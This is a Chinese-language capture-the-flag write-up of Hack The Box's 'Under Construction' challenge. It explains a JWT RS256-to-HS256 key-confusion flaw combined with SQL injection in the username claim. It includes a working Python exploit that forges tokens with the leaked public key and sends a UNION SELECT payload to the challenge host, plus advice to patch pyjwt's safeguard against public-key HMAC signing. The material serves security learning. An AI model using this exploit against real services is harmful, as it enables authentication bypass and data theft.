admin管理员组

文章数量:1602102

写在前面:第一次挑战中等难度的靶机,上来就遇到了代码审计以及jwt,两个都不懂,于是前几天补了jwt相关的内容,见这个链接:
https://blog.csdn/zr1213159840/article/details/124283799
今天来以这个靶场过一遍jwt,文章的总体解题思路参考了以下大佬的内容:
https://wwwblogs/snowie/p/14689894.html

首先是打开靶场,给了一个链接,然后还能下载一些文件,文件有助于解题。文件下载下来后看是源码。


源码审计的部分,乱翻能注意到一个地方,在helpers下面的DBhelper.js。仔细读11行,这个地方直接拼接了参数,所以是存在SQL注入的。

因为是乱翻的,加上代码能力有限,我以为这地方存在注入,直接注入试试,结果没反应。此路不通。

接着我们尝试访问一下网站试试,打开网站发现是一个登录界面,然后也能注册。

这时候就会想,会不会存在弱口令呢?手动输了几个没找到。然后我们再注册试试,网站非常慢,根本打不开,完蛋了,做个屁,不做了,关靶机睡觉算了。
由于遇上以上困难,就搜了下别人的题解,现在按照上面的链接往后。
注册以及登录的包可以使用burpsuite拦截,我们拦截一个登录的包,然后send试试,能发现是有反应的,就是在浏览器里面慢,但是在burpsuite中不慢。

既然可以在burpsuite中登录,那我们注册试试。注册的账号和密码都是webgoat1,记得修改一下最后面的参数为register=Register。

使用webgoat1登录抓包看看。能看到给了一个cookie,而且很符合jwt的风格。

拿到jwt.io中解析一下,有惊喜,能看到公钥直接给了。

我们验证一下公钥的正确性(记得安装pyjwt包,不是jwt包,是pyjwt!)

import jwt

public_key = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY\nktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi\nXuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg\njIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH\n+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx\nV8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr\n0wIDAQAB\n-----END PUBLIC KEY-----\n"

decoded = jwt.decode("eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IndlYmdvYXQxIiwicGsiOiItLS0tLUJFR0lOIFBVQkxJQyBLRVktLS0tLVxuTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE5NW9UbTlETnpjSHI4Z0xoalphWVxua3RzYmoxS3h4VU9vencwdHJQOTNCZ0lwWHY2V2lwUVJCNWxxb2ZQbFU2RkI5OUpjNVFaMDQ1OXQ3M2dnVkRRaVxuWHVDTUkyaG9VZkoxVm1qTmVXQ3JTckRVaG9rSUZaRXVDdW1laHd3dFVOdUV2MGV6QzU0WlRkRUM1WVNUQU96Z1xuaklXYWxzSGovZ2E1WkVEeDNFeHQwTWg1QUV3YkFENzMrcVhTL3VDdmhmYWpncHpIR2Q5T2dOUVU2MExNZjJtSFxuK0Z5bk5zak5Od281blJlN3RSMTJXYjJZT0N4dzJ2ZGFtTzFuMWtmL1NNeXBTS0t2T2dqNXkwTEdpVTNqZVhNeFxuVjhXUytZaVlDVTVPQkFtVGN6Mncya3pCaFpGbEg2Uks0bXF1ZXhKSHJhMjNJR3Y1VUo1R1ZQRVhwZENxSzNUclxuMHdJREFRQUJcbi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLVxuIiwiaWF0IjoxNjUwNDYwMTYyfQ.s615pK_r8GFz4DpLjKFZT_JRtyioJCzzxFyFcbyi-bA1Tk4pa7jrnlqAlWuQBk5VSogkSifJL8BT429VCHcGAuFvJ29lTrY5dfU_iJEud5F2toe-KE5P8jASn6PE6jLSK5M1UkamkGYLA_u6Itrl5KWGM6f-2moVjV4NY3BQUqndPRDAOyMtncdm4U6DzkNgtrDKo37Z63Ks8qKa9iGp9mF1_ncQs-8LxKZxnB33pbjvLdCaBemGsGNwqTlIgGIvxGVNuLfBezm9HNpc8OZulnxoqtS3nJGDWlTlZcY_x2QInDxCt9Dg-03W1K8_8KisfZtUHXZFJ3n9eL-O4bOEtA",public_key,algorithms=["RS256"])

print(decoded)

输出如下图所示,说明是正确的。

接着去分析以下源码,routes中显示网站有四个页面,分别是/,post以及get请求的auth,logout。

“这四个部分的功能都非常的简单,POST请求根据register字段的值判断登录/注册,/logout清除session值,/auth返回auth.html页面,在GET请求/时,需要先通过JWT内的值判断用户是否存在,再进行页面跳转或错误信息,判断过程首先要执行AuthMiddleware函数,返回成功后再执行DBHlper.getUser(username)函数,如果username在数据数据库中存在的话,就会跳转至index.html页面,也就是登录后看到的页面了。”—参考了上面那位大佬的解释。
顺着引用的顺序,去看看authmiddlewave.js文件。

“大概功能就是返回JWT解码后的username值,然后这个值就会被拿去DBHlper.getUser(username)函数比对,接着去JWTHelper.js文件”  

JWTHelper.js中出现了漏洞,JWT密钥混淆,其含义是:可以通过改头部的算法的方式,将RSA加密算法修改为HMAC,这样的结果就是服务端会直接使用HS256,并且把传过去的公钥(RSA的公钥)看作是当前算法(HMAC)的密钥来进行验签。

在进行完AuthMiddleware函数的流程后,进行下一步DBHlper.getUser(username),这个开头已经说了,存在注入,那么这就好办了,jwt我们可以生成,而且username字段就是我们要注入的点。

编写如下利用脚本:

import jwt
import requests


def gen_token(username):
    payload = {"username": username,
               "pk": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95oTm9DNzcHr8gLhjZaY\nktsbj1KxxUOozw0trP93BgIpXv6WipQRB5lqofPlU6FB99Jc5QZ0459t73ggVDQi\nXuCMI2hoUfJ1VmjNeWCrSrDUhokIFZEuCumehwwtUNuEv0ezC54ZTdEC5YSTAOzg\njIWalsHj/ga5ZEDx3Ext0Mh5AEwbAD73+qXS/uCvhfajgpzHGd9OgNQU60LMf2mH\n+FynNsjNNwo5nRe7tR12Wb2YOCxw2vdamO1n1kf/SMypSKKvOgj5y0LGiU3jeXMx\nV8WS+YiYCU5OBAmTcz2w2kzBhZFlH6RK4mquexJHra23IGv5UJ5GVPEXpdCqK3Tr\n0wIDAQAB\n-----END PUBLIC KEY-----\n",
               "iat": 1650460162}
    public = payload.get("pk")
    return jwt.encode(payload, key=public, algorithm="HS256")


def req_host(token):
    url = "http://134.209.191.159:31501/"
    headers = {
        "cookie": "session=" + token
    }
    r = requests.get(url, headers=headers)
    print(r.text)


def injection(payload):
    token = gen_token(payload)
    req_host(token)


if __name__ == '__main__':
    p = "roots' UNION SELECT top_secret_flaag,top_secret_flaag,top_secret_flaag from flag_storage--"
    injection(p)

代码的含义就是通过username生成注入语句,然后因为存在jwt混淆加密的问题,因此使用HS256加密后发送给远端靶场,靶场解析了usename后直接拼接到代码中造成了注入,p就是注入的语句,通过p的语句拿到最终的flag。

注意,以上代码直接运行会报错,说不能使用公钥进行加密,查看jwt的源码如图注释内容后保存即可排除错误。

以上内容,参考了以下链接,算是结合了两位大佬的解题方式吧。
https://wwwblogs/snowie/p/14689894.html
https://blog.ncu204/post/hack_the_box/under-construction/

本文标签: 题解BoxHACKconstructionChallenges